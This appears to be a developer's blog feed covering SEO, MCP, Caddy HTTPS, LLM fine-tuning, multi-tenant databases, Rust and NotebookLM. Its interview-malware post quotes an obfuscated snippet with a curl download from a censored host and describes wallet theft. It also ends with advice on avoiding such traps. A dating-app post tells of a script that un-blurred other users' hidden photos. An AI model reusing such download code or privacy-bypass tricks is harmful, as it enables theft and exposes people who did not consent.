is a test based on the level of education required by a hypothetical reader to understand the content of your website, ~~unlike what your inflated ego thinks~~, the higher the score the easier it will be to understand, which is better because it will be available to more readers.

Having said that, I would dare to say that the exact value does not matter so much, but that your text is easy to read and the reader flows through it.

Keep in mind that there are some plugins, like Yoast SEO if you use Wordpress, that take care of measuring it or you can program it yourself.

I have left some aspects that I do not consider so important, but that maybe I will add later, the important thing here is that you understand that it is not just to set up a website and that’s it, but you have to polish it so that users can find it and use it.

HTTPS instead of HTTP

It is quite rare to find modern websites that do not use HTTPS, especially when it is the hosting platforms that are responsible for configuring the servers automatically. In any case, make sure that your website uses HTTPS instead of just HTTP, as search engines favor secure connections.

And that’s all for now, I will be adding more information to the article if I consider it pertinent as the days go by.

How to stay relevant in SEO in the AI era?

The above leaves me wondering whether what’s valid today will be valid tomorrow. Perhaps websites that present more subjective aspects, opinions, and experiences will be more valuable SEO-wise in the future than information collections.

I’ve also noticed that most websites that create landing pages and simple stuff, like lovable, vercel 0, Bolt , etc. leave aside most of the SEO related aspects.

I also think transactional websites may forget about the first steps of the sales funnel (since AI can take care of that) and focus on the transaction.

I’m under the impression that text content will lose value because it will become a commodity created by AI (bad for me), but interactive or video websites may benefit from internet traffic.

Keep in mind that these are just some ideas; no one knows what will really happen.

I just hope that whatever happens is good for the future of the web.

I'll Help You Understand the Model Context Protocol or MCP

Mon, 31 Mar 2025 18:00:32 -0600

If you’re struggling to understand the Model Context Protocol, I feel you, I watched a lot of videos on it, but I just couldn’t understand it, so I took my notes about it and turned it into a post so you can understand it effortless, also I wrote a post where I talk about how to create a MCP server and MCP tools from scratch .

Why was the Model Context Protocol created?

One of the most convenient uses of LLMs is to use them to analyse or process our own data, for which there are several options, such as LLM fine-tuning or RAG, or manually passing our data as context as part of the prompt.

Anthropic members noticed this and proposed to standardise this process by creating a protocol for providing context and the ability to interact with systems to LLMs. Where does that context come from? Well, pretty much anywhere, Github, a database, your file system, an API ( gPRC type , REST or others), basically any source that can return information.

This protocol, called the Model Context Protocol, is being sold as the next AI revolution, will it be just AI overhype and bubble or a completely groundbreaking paradigm?

Edit: MCP became the standard, and now it’s used in most automation tools that use LLMs, like n8n.

MCP exists to act as a bridge between an LLM and contextual information, in a standardised and agnostic way. The key word here is standardisation.

How does the Model Context Protocol or MCP work?

The MCP conforms to a client-server architecture.

Client role in MCP

A client that implements the Model Context Protocol can connect to an LLM and a set of MCP services or servers that provide it with the appropriate context it needs.

A potential MCP Client

A MCP client represents the user interface to which we would normally pass our prompts; this interface may be Claude Desktop or some other equivalent.

architecture-beta group api(logos:anthropic-icon)[MCP] service llm(logos:serverless)[LLM] in api service whatsapp(logos:whatsapp-icon)[MCP server Whatsapp] in api service mcp(logos:anthropic-icon)[MCP Client] in api service telegram(logos:telegram)[MCP server Telegram] in api service github(logos:github-icon)[MCP server Github] in api junction junctionCenter llm:L <--> R:mcp mcp:L <-- R:junctionCenter whatsapp:B <-- T:junctionCenter telegram:T <-- B:junctionCenter github:R <-- L:junctionCenter

Server role in MCP

A server is responsible for reading information, whether from a file, a database, a web service (via an API), or any other accessible source. To do this, it will use certain predefined resources or tools that restrict what the client can or cannot read or do.

architecture-beta group api(logos:anthropic-icon)[MCP] service server(server)[Whatsapp Server] in api service whatsapp(logos:whatsapp-icon)[MCP Whatsapp] in api server:L <--> R:whatsapp

How does the MCP know what it can read or do from a server?

To know what resources a service or server can access or modify, they implement a similar functionality Reflect in Go and GraphQL , with which they expose information about themselves.

For example, in the CCM Github repository we see the list of actions that can be performed, as well as the required inputs for each of them.

Screenshot of the available actions of a Github MCP server

Internally there is no magic at all, the services interact with the servers or information sources through their respective APIs. Take a look at the code that executes the listCommits action shown in the image above.

Notice how there is an initial validation using the familiar Zod library, but at the end of the snippet there is a function call that makes a request to a Github URL.

 1import { z } from "zod";
 2import { githubRequest, buildUrl } from "../common/utils.js";
 3
 4export const ListCommitsSchema = z.object({
 5  owner: z.string(),
 6  repo: z.string(),
 7  sha: z.string().optional(),
 8  page: z.number().optional(),
 9  perPage: z.number().optional()
10});
11
12export async function listCommits(
13  owner: string,
14  repo: string,
15  page?: number,
16  perPage?: number,
17  sha?: string
18) {
19  return githubRequest(
20    buildUrl(`https://api.github.com/repos/${owner}/${repo}/commits`, {
21      page: page?.toString(),
22      per_page: perPage?.toString(),
23      sha
24    })
25  );
26}

How does the LLM knows what action should peform?

This is the magic part, the LLM can “read” the available actions from the MCP and, based on the prompt, decide which action should be executed, then the MCP will perform the action an return the answer to the LLM, afterwards the answer will be read by the LLM, which will generate a final response for the user.

So far I have been talking about resources and actions, but in the MCP these two actions which are in charge of giving context to an LLM have names. Of course they were not going to miss the opportunity to give some branding to their protocol.

Context types: Resources and Tools in the Model Context Protocol

The MCP context types are divided into:

Resources.
Tools.
Sampling, performs queries to other models, less common.
Prompts, prompts templates, less common.

What is the Resources context type?

You can think of Resources as a GET request to a REST API , intended to get information, without modifying anything.

What is the type of context Tools?

On the other hand, a tool would be the equivalent of a POST, UPDATE, DELETE or PATCH request.

Think of tools as a mechanism to allow a client to make modifications to your servers or services.

If you are more familiar with GraphQL-like APIs , you can think of resources and tools as queries and mutations, respectively.

How does the MCP communicate with servers?

The MCP has two communication paradigms, one is via STDIO or Standard Input Output, ~~right out of your C programming nightmares #include <stdio.h>~~ ideal for local communication, for example with a local database such as Postgres or SQLite.

The other type is SSE or Server Sent Events, which does POST request streaming (similar to the gRPC streaming requests I’ve already told you about ), ideal of course for communications that are not in the same environment.

The MCP protocol is stateful

Another aspect worth noting is that, to date, the protocol requires a persistent connection between client and server , so this can be a drawback for auto-scalable architectures that adapt to demand, as well as moving in the opposite direction in a world that is striving to become stateless.

Just as a reminder:

Aspect	Stateless Application	Stateful Application
Server State	No stored client state between requests	Maintains client state across requests
Session Data	Client-side storage (e.g., cookies, tokens)	Server-side storage (e.g., session DB, memory)
Scalability	Horizontally scalable (no affinity needed)	Requires sticky sessions or state replication
Complexity	Simpler to implement and scale	More complex due to state management
Fault Tolerance	Resilient (failed requests can go to any server)	Vulnerable to server failures
Examples	REST APIs (when properly designed), HTTP/HTTPS	Traditional monoliths, WebSocket apps

At the moment it is a matter of debate whether it will stay that way, there is no certainty whether stateless versions will be implemented or if there will be changes to it. After all, this protocol is new and who knows what the future holds for the AI world, giants can rise and fall in months, as Devin AI and Rabbit R1 did.

If you want to know more read the official Model Context Protocol documentation and the introduction to the MCP

The Easiest Way To Use Https In Localhost (my opinion)

Wed, 26 Feb 2025 00:00:00 +0000

How to use Localhost using https instead of http, fast and without having to issue certificates manually nor dealing with netstat?

Why to use https on localhost instead of http?

It is quite common to perform Oauth testing while performing integrations or some kind of integration with a third party application, the problem is that some third party providers are quite restrictive in this regard, they do not accept integrations or callbacks to URLs that do not use https.

This is the case for apps on X (formerly Twitter) or Facebook developer platforms. ~~Zuckerberg!~~

Facebook developer portal callback needs https

There are several ways of dealing with this, one of them is to sign our own certificates manually, which can be cumbersome in my opinion, but let’s skip that and do it the quick and easy way.

Running https on localhost with Caddy

Caddy is a server written in Go programming language , known to be easy peasy to configure (Unlike configuring Nginx ), and it also includes https by default.

It is so simple to set up that it only requires a simple file called Caddyfile, with no extension. You can think of the latter as the equivalent of a Dockerfile in Docker .

Install it following the instructions according to your OS and create the Caddyfile.

your-sub-domain.localhost {
    reverse_proxy http://localhost:5000
}

The sub-domain part is just to be able to isolate your app from the rest of the applications serving on localhost.

The above configuration will create a reverse proxy that will redirect traffic on your-sub-domain.localhost to port 5000 of your localhost. Remember to replace the port with the port of your choice.

graph TD; your-sub-domain.localhost-->http:localhost:5000;

Finally just run caddy run, or caddy start if you want a process running in terminal or detached run, respectively, in the directory where the Caddyfile is located and caddy will create a reverse proxy to your localhost on the port you specified and we’ll be running https on localhost as intended.

Solution 1 to error: Caddy “listen tcp :<port_number>: bind: permission denied”.

If you get a permission denied error while trying to run caddy, it is because Linux prevents non-root processes from listening on major ports such as 443 or 80.

To allow caddy to listen on those ports and allow linux to assign the required permissions , run the following command.

sudo setcap CAP_NET_BIND_SERVICE=+eip $(which caddy)

Solution 2 to error: Caddy “listen tcp :<port_number>: bind: permission denied”.

Another posibility is that caddy was already running, if you install it could run as a service, to which you have to stop it and execute it again.

caddy stop
caddy start

Afterwards you should be able to access your-sub-domain.localhost or your-sub-domain.localhost:443 via https in your browser, the curl command or whatever tool you prefer to use.

Fine-Tuning A LLM Small Practical Guide With Resources

Mon, 17 Feb 2025 00:00:00 +0000

I tried to fine-tune a DeepSeek model but I failed, then I tried to do it with Llama and I couldn’t make it work, finally I succeeded with a Mistral model, specifically the 7B parameter model.

I felt completely lost, lots of tutorials but none seemed to work, hence I decided to share with my readers my notes and some resources that I found useful during the process.

Still, don’t get confused by this, I still believe that AI is overhyped, but that will change soon .

Where to learn the basics of AI and Neural networks?

If you have no idea about artificial intelligence or what a neural network is, the most complete and didactic videos belong to 3blue1brown.

However, it is important to clarify that these videos do not start from scratch, it is necessary that you have a background in linear algebra, linear regression and differential and integral calculus. I know it can be a little discouraging for those who come from non-technical backgrounds but it is not as difficult as it seems.

If you only speak english you probably don’t know DotCSV, but what you may not know is that DotCSV has an introduction to neural networks and their videos are excellent, the bad part of course is that his videos are in Spanish. Time to turn on the subtitles.

But if you already know everything about neural networks, then, let’s start with the fine-tuning concept.

What is fine-tuning?

Fine-tuning is the procedure of selecting an already trained model and continuing its training on a particular data set from the field. Like for example a LLM that has been trained specifically in scientific articles about diabetes, which you can do through the Model Context Protocol .

Because, why use prompt engineering when you can fine-tune a model and get the same results?

I’m just kidding, always try prompt engineering first

Most current LLM models exhibit quite positive overall performance, but fail to solve particular problems focused on specific tasks. The fine-tuning procedure provides significant benefits, such as decreased computational costs and the opportunity to use advanced models without the need to build one from scratch. It may not replace programmers but fine-tuning can turn a model into the ultimate prediction tool in an area of knowledge.

Steps needed to fine-tune an LLM

The steps may vary according to the model but generally the process looks something like this:

Load a dataset: Gather your dataset, either existing or original.
Data preprocessing: Tokenize your dataset using model tokenizer and split it into training, validation and test sets.
Model selection: Choose a pre-trained LLM.
Parameter configuration: Configure the hyperparameters.
Training or Fine-Tuning: Train the model on the customized dataset.
Evaluation: Test it with the test set.
Inference: Deploy the fine-tuned model for inference on new data, making sure it generalizes well to unseen inputs.

Here are some resources about fine-tuning:

I borrowed this notebook because it was the only one that worked and modified accodringly , you can thank brevdev for it.

I loved this resource for understanding the general steps to fine-tuning an LLM .

The notebook that I used to fine-tune the model is here and you can check it.

Where to get datasets for fine-tuning an LLM?

In the same way you need data to train an AI model, fine-tuning requires that you provide it with the best data can you find, the best source is your own data.

I used datasets from HuggingFace , however it is important to consider that pre-trained models that are freely available were probably trained using the same data, so if you decide to use them, don’t expect to have a substantial improvement over normal model performance, it would be best to use your own data or original content.

Now we should have the data, what LLM should we use?

Fine-tuning data sources

Make sure your dataset is in a proper format. Eg, I had to convert one using Python to JSONL, because each line was a separate file, which made the import incredibly slow.

Now we should have the data, what LLM should we use now?

Which models are best for fine-tuning an LLM?

To do fine-tuning, a good starting point is using a pre-trained LLM, the most parameters the better results but its performance will be worse.

As a rule of thumb, it’s a good idea to browse HuggingFace, and look for large models (the ones with more parameters), among the most popular ones I could find are Llama, DeepSeek, Mistral, Falcon, among others.

I tested the following models, not because they were the best, but because they were light and did not require as much computing power (I’m working with limited resources, leave me alone), but you can use their larger versions with more parameters:

I got better results with the Mistral LLMs, probably because the DeepSeek ones were trained using Chinese sources.

I was actually able to train and deploy it but the model returned Chinese characters, ( just like Searle’s room ), from time to time as part of the response, although it was incredibly fast.

Now that we have the data and the model, where can we train our LLM? The cheaper the better.

Where to fine-tune an LLM for free?

It would be best to have your own GPUs, but in case you can’t, Google, through Google Colab has GPUs available for free for a limited amount of hours per day, Kaggle also offers you 30 hours of GPU usage per week to run your experiments. ~~And create your furry images using the forbidden models.~~

In my fine-tuning adventure I also found a company called salad , which serves as an intermediary between users and gamers who want to rent their GPUs, the prices are incredibly competitive. VastAI is also another option. Digital Ocean also has very competitive prices and provices a wide variety of GPUs.

We have everything we need now, let’s review the overall process.

LLM Fine-tuning Tutorials

For Fine-tuning I found these videos quite enjoyable, short and straight to the point, however I could not produce a working model, it is possible that the notebooks were outdated and probably my inexperience make me fail.

This is a good introduction but does not share the jupyter notebook, although I was able to find it on Google Colab. I put the link in the next section.

He is a bit more specific and concise.

Now we know the overall process, where can we find some template for fine-tuning?

Notebooks for LLM fine-tuning.

This was the notebook that allowed me to fine-tuning the Mistral model , with a couple of modifications, of course.

Most of the notebooks just need you to change the model and adapt the dataset to the model input, so you can use them as a starting point for your particular case.

Others that I found particularly well documented but did not work for me or produced unwanted results are these:

Where to deploy an LLM model?

After creating your model you may want to make it available to others.

Generally there are tools like Gradio that abstract the process of generating a chat server like OpenAI, you can set them up on your own or use the ones available from HuggingFace, although obviously for a monthly cost, the free plans only have CPU and RAM, so it is usually not enough to run your LLM, especially the big ones.

Since my project was for educational purposes and I don’t want to pay for a premium plan, I decided to put the code necessary to run my model in a GoogleColab notebook with the necessary code to run it.

Multi Tenant Architecture in Software: What Is It and Its Databases Patterns

Tue, 28 Jan 2025 17:44:50 -0600

The multi tenant architecture is a software architecture (Don’t confuse it with a design pattern or deployment pattern ) approach where a single instance of an application serves multiple tenants. You’ve probably come in contact with this architecture when using dropbox, Slack or any project management SAAS.

In multi-tenant architecture, each tenant can be a company, a group or an individual user, and although they share the same infrastructure and code base, their respective data is isolated and customized.

Simple example of a multi-tenant application: A modern coworking

Multi-tenant architecture is like a modern office building where different companies (tenants) (like wework but less corrupt) share the same physical infrastructure - elevators, security systems, utilities, and building management - but each company has completely isolated office spaces with their own data, configurations, and customizations that other companies cannot access.

Just as the building owner maintains one set of systems while serving multiple businesses, a multi-tenant application serves multiple organizations using a single instance of the software and database infrastructure, with strict data isolation between tenants.

This differs from a simple multi-user application, which is more like a single company’s office where all employees share the same workspace, company data, and settings - everyone sees the same information and operates under the same organizational rules, whereas in multi-tenant systems, each tenant operates as if they have their own completely separate application with their own user base, data, and often customized features.

Taking it to a more real scenery, imagine you want to implement a service for managing small supermarket stores. Each separate store would represent a tenant, and each tenant is going to operate differently from the rest, have its own configuration, its own customers, suppliers and any other custom settings, plus the information of each supermarket store will be private.

How is the multi-tenant architecture different from user accounts?

When I first read about this architecture I could not find the differences between, say a highly configurable application, like MySpace, for example, and a multi-tenant one. Probably for you the difference was very clear but for me it took me by surprise and I had to research about it, although I was certainly not the only one to ask the difference between users and multi-tenant :

Aspect	User Accounts	Multi-Tenant Application
Definition	Individual profiles within a shared application.	A single instance of an application serving multiple clients (tenants), each with its own isolated space.
Isolation Level	All users share the same data and general configurations.	Each tenant’s data and configurations are isolated from others.
Customization	Limited to the user level (such as themes or personal settings).	Each tenant can have different configurations, branding, or even functionalities.
Simple Example	An online forum where users have accounts but share the same categories and posts.	Google Workspace (formerly G Suite), where each company (tenant) has its own email, Drive, and users.
Main Purpose	Managing multiple users within a single shared system.	Managing multiple separate clients, each with several users and unique needs.
Shared Data	Data is typically stored in a single space, shared by all users.	Each tenant’s data is segregated, even if using the same database.

How to manage databases in a multi-tenant application?

A multi-tenant application will have to record and store information from each tenant and therefore there will be a database, but when handling multiple tenants, it will be inevitable to ask ourselves: How do we design our database(s)? Do we divide the tenants by database or by table? Is it a good idea to have one database for all of them instead?

Well, there are different paradigms in this regard, each with its advantages and disadvantages.

One database and one schema for all tenants.

A single database and a single schema, with different tables for each tenant. The simplest and easiest architecture to implement, but comes with poor isolation and customization. You can identify each tenant by an unique id.

architecture-beta group api(database)[Database] service schema(logos:datasette-icon)[Schema] in api

A SQL query would look like this

SELECT * FROM <table> WHERE <tenant_id_column> = '<id>';

A database for each tenant

A database for each tenant. The most expensive when it comes to resources but provides the best isolation and full customization level. You can identify a tenant by its schema.

architecture-beta group app[App] service db1(database)[Database] in app service db2(database)[Database] in app service db3(database)[Database] in app

A SQL query would look like this

# Connect to database first
\c <tenant_database>
SELECT * FROM <tenant>.<table>;

One database but different schemas for each tenant.

A single database for all tenants but a different schema for each tenant. Customizable and separation of schemas maintains some level of isolation, but complexity increases. You can identify a tenant by its schema.

architecture-beta group api(database)[Database] service schema1(logos:datasette-icon)[Schema] in api service schema2(logos:datasette-icon)[Schema] in api service schema3(logos:datasette-icon)[Schema] in api

A SQL query would look like this

SELECT * FROM <tenant>.<table>;

Now you got an overall idea of the multi tenant pattern and hopefully can use it in your SAAS adventures.

I took advantage of an error in the code of a dating app

Fri, 03 Jan 2025 20:36:36 -0600

While using a Tinder-style dating app, one of those in which, after a mutual like, the application puts the people involved in contact, I noticed that, to promote their premium plan, they used obfuscated blurred pictures to introduce you to the people who had pressed the Like button on your profile.

After having a couple of matches I noticed that the obfuscated pictures belonged to real accounts, that is, they were not a set of generic images or placeholders.

Example of the blur effect applied to photography

It sounded too obvious, so I opened my browser’s developer console and went directly to the CSS code to double-check my suspicions. They couldn’t possibly be making such a simple mistake—I thought—they’re protecting the identity of the photographs with a simple CSS filter: blur.

.hidden-image {
    filter: blur(4px);
}

Image processing of this dating app.

The actual images were served by the app’s CDN and then a filter was applied to hide them, so to find out who had liked you, you just had to remove the filter.

Unfortunately it was impossible to get any other data from the pictures or from the URL structure, API calls , or any other information given; neither the name, nor the profile nor any other piece of information was accessible other than the profile picture.

How to obfuscate images in dating apps?

Certainly this was an architectural mistake, it’s true that is plain simple to hide the images in the frontend, using CSS, not only that, you save disk space and avoid processing time in the backend, however, a better option would have been to use a set of generic images for all accounts.

Another plausible alternative would have been to generate a thumbnail (and other changes, like changing the format, example: webp ) automatically every time a user updates their main profile image; it consumes a bit more space but keeps the real images safe and personalizes the experience for each user.

flowchart TD id1[Profile picture change] --> id2[Generate blurred thumbnail ] id1 --> id3[Generate normal thumbnail ]

Exploiting the bug with a browser extension

And, what I did about it? Well, in order to exploit the bug, I created a small Javascript script that gathered all the profile images and removed the class that applied the blur effect, afterwards I integrated it into a browser extension to automate the process of unblocking them each time I entered the page.

This little oversight on the part of the developers lasted about two years. It has now been fixed so if you try to search for the bug on the main dating pages, you will no longer find it, and this is also the main reason that I decided to post about it.

The developers in charge modified the code for its web version, leaving the rest of the UI almost intact and chose to create an obfuscated thumbnail for each account, but processing it from the backend, so that it is completely impossible to get the real image.

You Could Lose All Your Crypto In a Job Interview

Sat, 14 Dec 2024 22:24:22 -0600

The other day I was browsing Elon Musk’s political propaganda machine, also known as X, and came across this gem of human shamelessness, an interviewer who nearly hacked one of his applicants.

Running malware in job interviews.

The story goes like this: you’re in need of a job, you’re attending the interview remotely, the recruiter asks you to clone a Github library to find bugs in the code, an average interview for a developer position, all looks normal up to this point. Of course you, in need of a good job, decide to go through with the process.

Well, this guy was smart enough to read the code to be executed before blindly executing his voluminous node_modules directory. And what did he find? A succulent and delicious minimized code, also obfuscated and with hints of putting your computer to mine cryptocurrencies.

Our friend was like George, curious, so he reformated the code and found:

Lines that appear to search and read the contents of Solana wallets.
Scripts that scan browser directories.
API calls to an IP address , with no domain, some with no response at all and some that download obfuscated Python scripts (I guess it follows up the hacking process by installing a backdoor or some RAT).

If you want to ~~infect yourself~~ read the code, visit the github repository , I take no responsibility for anything though.

_0x42b722(“curl -Lo” + _0x157519 + “\” + “http://<censored>/pdown” + “\””, (_0x204dd7, _0x6e1c16, _0x52b515) => {
  if (_0x204dd7) {
    _0x517b73 = 0;
    return void _0x70af27();
  })

How do we avoid falling into these traps?

I don’t plan to stand alone in the drama. This is about offering some practical solutions so that script kiddies don’t make fun of you:

Use a different device.

The most comfortable option, but also the most expensive, keep your devices separate, use one computer for work and technical interviews and another for your personal stuff, cryptocurrencies included.

Read the code, whenever possible.

Recruiter sends you a script? Examine it carefully before you run it. Yes, I know, sometimes the code is too long or obfuscated, but if you have some experience, you can rapidly examine the screen with your eyes and spot the most obvious red flags. Of course, you can’t waste all afternoon on this especially if you’re in a real interview or value your time.

Use a virtual machine.

Mount a virtual machine, either Virtual Box or Gnome Boxes, on Linux, or a completely isolated Docker container , if you don’t mind not having a graphical interface.

Another option available, and my personal favorite: a live USB with the distribution of your choice (Debian, Fedora, or whatever you want),

That way, the worst that can happen is that they infect your virtual machine and not your real computer with all your personal information. Just be careful with shared volumes! If you mount the hard drive that contains sensitive information in the VM, you’re toast.

Encrypt your sensitive information.

Here comes in the classic advice from old-school IT veterans: encrypt your important data. If someone manages to access your collection of kitten memes,it will be just a garbage of non-sense zeroes and ones.

I don’t plan to offer details because there is already too much information on the internet about GPG and its alternatives, Google GPG or read the manual directly, if you are not that familiar with the terminal or don’t want to become a Linux or math nerd, there are tools like Kleopatra, which could make cryptography more intuitive to use.

Don’t run arbitrary code on your personal machine.

Do you have better ideas to protect us from black hat interviews? Drop your tips on social media and tag me. I look forward to adding your suggestions to the post.

If you want to read the full story give Elon’s blog a visit…. I mean X. Edited: the owner of the account changed his privacy settings so now you can’t watch the full conversation.

What makes Rust so difficult to learn?

Wed, 16 Oct 2024 19:15:56 -0600

I started learning Rust, and everything I read on the internet about its learning curve is true. Rust is difficult, not impossible, just difficult. But now I also understand why the obsession with this programming language. After finishing Rust’s book I had a glimpse of the programming language that I will try to accurately capture in the following paragraphs.

If you already know what makes Rust so difficult and you’re looking to learn it instead, skip to the final part of this post where I recommend some useful resources to learn Rust.

Rust concepts that are not in other languages

Rust requires you to master a number of concepts that don’t exist in other programming languages, which makes the exercise of learning Rust a bit more complex than extrapolating the syntax of other languages to it, just as you would do if you wanted to learn the Go programming language , for example, for that same reason I don’t recommend that you learn Rust as your first language.

The reason behind Rust’s complexity lies on an exotic scenario. Rust was created by Graydon Hoare after an incident with an out of order elevator , the reason? poor memory management in its code, probably from C or C++.

Rust was created by Royden Lepp after a problem with an elevator

Borrowing in Rust is difficult

The goal of the creator of Rust was to disappear all the heap memory management errors that you probably already know about, for this Rust makes sure that there can only be one variable that owns one value, this possession can be transferred from one variable to another by borrowing but at all times there can only be one owner ~~to rule them all~~. This approach makes complicated, but not impossible, to create memory leaks.

Tip: When I was reading about this I found this video helpful to learn borrowing:

Understanding the Lifetimes in Rust is difficult

I haven’t read about this concept elsewhere, Lifetimes are used to manually tell the compiler the duration (lifetime) of a variable, in cases where the compiler cannot infer it automatically. Once you grasp the concept, lifetimes are simple in practice but they can reduce the readability of the code, especially if you have never seen them before.

How it feels when you first read about lifetimes

You don’t need to understand exactly what the extra annotations do, the important thing here is that you appreciate how their use can make code quite unreadable and complicated to understand at a glance.

fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { 
    if x.len() > y.len() {
        x 
    } else {
        y 
    }
}

The good news is that, to my relief, it doesn’t seem to be a feature that you have to implement frequently.

Understanding when to use the multiple smart pointers Box, RefCell, Cell, Arc, Mutex, in Rust is difficult.

Rust has a number of smart pointers to handle memory references in case you need to allocate memory in the heap or access a variable from multiple places (I have previously written, about Mutex but in Go ).

Sounds simple but, again, things get complicated when it comes time to write the code and be able to differentiate the use of each and what problem they solve.

I didn’t understand their differences nor their uses the first time I read them, but after a quick search I realized that I wasn’t the only ~~fool~~ one, stackoverflow and Reddit are full of questions about these smart pointers.

let value = Rc::new(RefCell::new(5));

Tip: While researching about smart pointers I found this video, and I understood them perfectly after watching it.

Also check this simple summary of Box, Arc, Rc, RefCell and Mutex.

Frequent use of Macros in Rust can be daunting

A macro, in Rust, is simply a piece of code that generates other Rust code during compilation.

Macros are not a new concept or unique to Rust. However, if you’re used to the lack of macros in other programming languages, you’re probably confused by the idea of having a fancy decorator, with brackets containing a function call, all with a hashtag at the beginning.

In addition to the above, it is quite common to see macros in other people’s code, which can be daunting the first time you’re reading Rust code.

#[derive(Debug)]
enum List {
    Cons(Rc<RefCell<i32>>, Rc<List>),
    Nil,
}

Closures’ syntax in Rust is difficult.

If you come from languages like Javascript, you are probably familiar with closures (as in the debounce pattern ), well in Rust they also exist, but the first time I saw one, I was confused by its syntax, using pipes to receive the arguments and with the word move, which transfers the property of all the variables it contains to the closure. Why not use the same syntax that functions use?

std::thread::spawn(move || {
    println!("captured {data:?} by value")
}).join().unwrap();

The good thing is that it is only a matter of getting used to the syntax.

Error handling in rust is complex

Rust does not have Try and Catch, but the handling of errors and null values must be done explicitly, and it’s not as painless as in Javascript or Python, for this Rust uses Result, Option, Unwrap, Expect and ?

I found this resource that explains Rust’s Error handling in an understandable and simple way.

Option

Option is an enum that represents either a value (Some) or the absence of a value (None).

let x: Option<i32> = Some(13);
let y: Option<i32> = None;

Result

Result is an enum that represents either success (Ok) or failure (Err).

fn divide(a: i32, b: i32) -> Result<i32, String> {
    if b == 0 {
        Err("Cannot divide by zero".to_string())
    } else {
        Ok(a / b)
    }
}

Expect

expect is a method that either returns the value inside Option or Result or panics with a custom message if there’s an error or None.

let x = Some(5).expect("Value not found");

? operator

The ? operator propagates errors in a Result type, returning the error if it exists or unwrapping the Ok value.

fn read_file() -> Result<String, std::io::Error> {
    let content = std::fs::read_to_string("file.txt")?;
    Ok(content)
}

Combining traits, impl and generics in Rust is tricky.

Traits, think of them as interfaces, (which I already told you about in my post about Go’s polymorphism) , mixed with generics, can add complexity to the code. In the example below we use a generic on a struct, to tell it that grade can be any type, and in the implementation we make sure that this generic Type satisfies the Display trait, so that it can be printed.

// Taken from rustlings exercises, see the final part of this post
// Display is a trait here
use std::fmt::Display;

// Grade can be anything as long as ...
struct HogwartsReportCard<T> {
    grade: T,
    student_name: String,
    student_age: u8,
}

// it satisfies the display Trait
impl<T: Display> HogwartsReportCard<T> {
    fn print(&self) -> String {
        format!(
            "Hogwarts' student: {} ({}) - achieved a grade of {}",
            &self.student_name, &self.student_age, &self.grade,
        )
    }
}

Where to learn Rust?

Lastly, here are some resources you can use to learn Rust, but please consider that this is not a weekend’s task.

The Rust Book in multiple languages

Rust has its own bible, called “The Rust book”, available in multiple languages , Spanish included . The book is surprisingly well explained and very Foolproof, although it is a bit long, but it is understandable given the large amount of concepts to be exposed.

Educative

If reading a thick book is not your style and you prefer premium education, educative has some the ultimate guide to rust programming for less than the price a well served meal.

Youtube channels to learn Rust

I also found that the videos of Code to the Moon , are quite easy to understand and the author of the channel explains very well the concepts of Rust.

The channel Let’s get Rusty also has some tutorials that will help you understand the concepts better.

Rustlings

Rustlings contains a series of exercises to learn and practice Rust while reading the Rust book.

When you finish all Rustling’s exercises you receive this amazing prize.

Rustling’s reward after finishing all exercises

Rust is not so hard to learn

Rust is not exaggeratedly difficult, there are languages that are more complicated or require a complete paradigm shift to program in them, like Haskell, for example.

But I won’t deny that learning Rust is more complicated than learning Go, or learning Python, I even dare to say that it is more complicated to learn than C, on the other hand it is easier to write bad code in C than in Rust.

Rust is elegant but other languages are simpler

Certainly Rust is one of the most elegant languages out there, however sometimes productivity and convenience are preferred over beauty and elegance, even big companies like Typescript preferred Go over Rust for its compiler . You have to ask yourself the same question regardless of the result, Rust can be the language you need or maybe not, either answer is perfectly fine.

So far, it seems that I am complaining about the design traits of the language, but no, I am only exposing the parts that challenged me the most, but, taking into account how big is the language, you will be able to realize that was really a minimum part.

Most of Rust’s syntax is pretty straightforward, and some of the things you have to deal with, save you the headaches of having to debug memory leaks or null pointers, which is an interesting tradeoff.

Google Notebooklm Will Reshape The Podcast Scenario Forever

Tue, 01 Oct 2024 12:32:42 -0600

I just tried Google Notebooklm, and this feeling of novelty and excitement took over my mind. Similar to a child receives what he asked for for Christmas. However, I didn’t ask for this tool to exist, but here it is anyway.

Google Notebooklm lets you create a podcast from your notes

You’ve probably already heard of this tool, and if you haven’t, I’ll explain below.

Google Notebooklm is an AI tool that becomes an expert in your notes and helps you. But the latter is not what has left me speechless. It is its tool that transforms your notes into a conversation between two people. ~~Right now is only available in English language~~ More languages are available now. But let me show you the results right now.

People often prefer audio-visual content over text

I generated this podcast using my post about the problem of using github to evaluate developers .

This podcast was automatically generated using Notebooklm

You can create yours at Google Nootebooklm’s site

Google has done an excellent job with this tool. Please appreciate the tone, the clean audio. There are even a few crutches and occasional hesitant pauses to give it a slight touch of naturalness and realism. Not bad for a black box made of code that is not yet conscious don’t you think?

Will Google Notebooklm and the other models replace podcasts?

This is the inevitable question (and its variants) whenever there is a significant progress in the field of artificial intelligence models: Is Devin AI going to replace developers? or is it just one more symptom of the AI overhyped bubble that we are living? .

I don’t think it’s that simple, the interesting thing about this is trying to fit it into this colossal puzzle of AI models rising up in front of us right now.

Just bear with me for a second. Eleven labs can convert text to different voices. While Notebooklm is able to transform notes into a podcast. Lumalabs or Pika can transform images into video.

Can you visualize it yet? A complete podcast, with customizable voices and faces, in video, hardly distinguishable from a “real” podcast.

A future of commoditized AI-created podcasts awaits us.

In a world where you can create monetizable podcasts in a matter of minutes, this type of content will become abundant (and repetitive) in short order, just like what is happening right now with all those channels that only put voices to reddit posts, or those that use AI images and voices to animate folktales.

I can foresee this in the next year

Being able to train a model with material from past podcasts or writings to faithfully emulate the style will save content creators hours of work - imagine, you generate the entire podcast with AI and then just edit it to replace those parts that seem bland and voila!, you have a podcast that feels human in seconds.

Or, if that doesn’t suits you, you can take it further and create quite interesting scenarios like this one where the AI podcast speakers discover their own non-human nature .

Possible not so positive market reaction to AI podcasts.

On the other hand, this may also change the podcast market forever, people love to connect with other humans, and not everyone will be comfortable knowing that they will spend 2 hours listening to a podcast that probably regurgitated an AI, maybe some folks will dedicate a couple of extra minutes to look for a human version instead.

Not all people consider that the rise of AI is a good thing

So no, it’s not going to disappear podcasters, especially the big ones, but it will raise the bar, now a monotone, mediocre and average podcast that’s indistinguishable from an AI generated one will be treated as such.

On the other hand, skepticism will make many people prefer content that is harder for an AI to imitate (at least for now), such as videos, or live, burying written content in oblivion.

Notebooklm and the possible death of written content and blogging (Yes, again)

It’s no secret that videos have become the most popular option for consuming content in recent years.

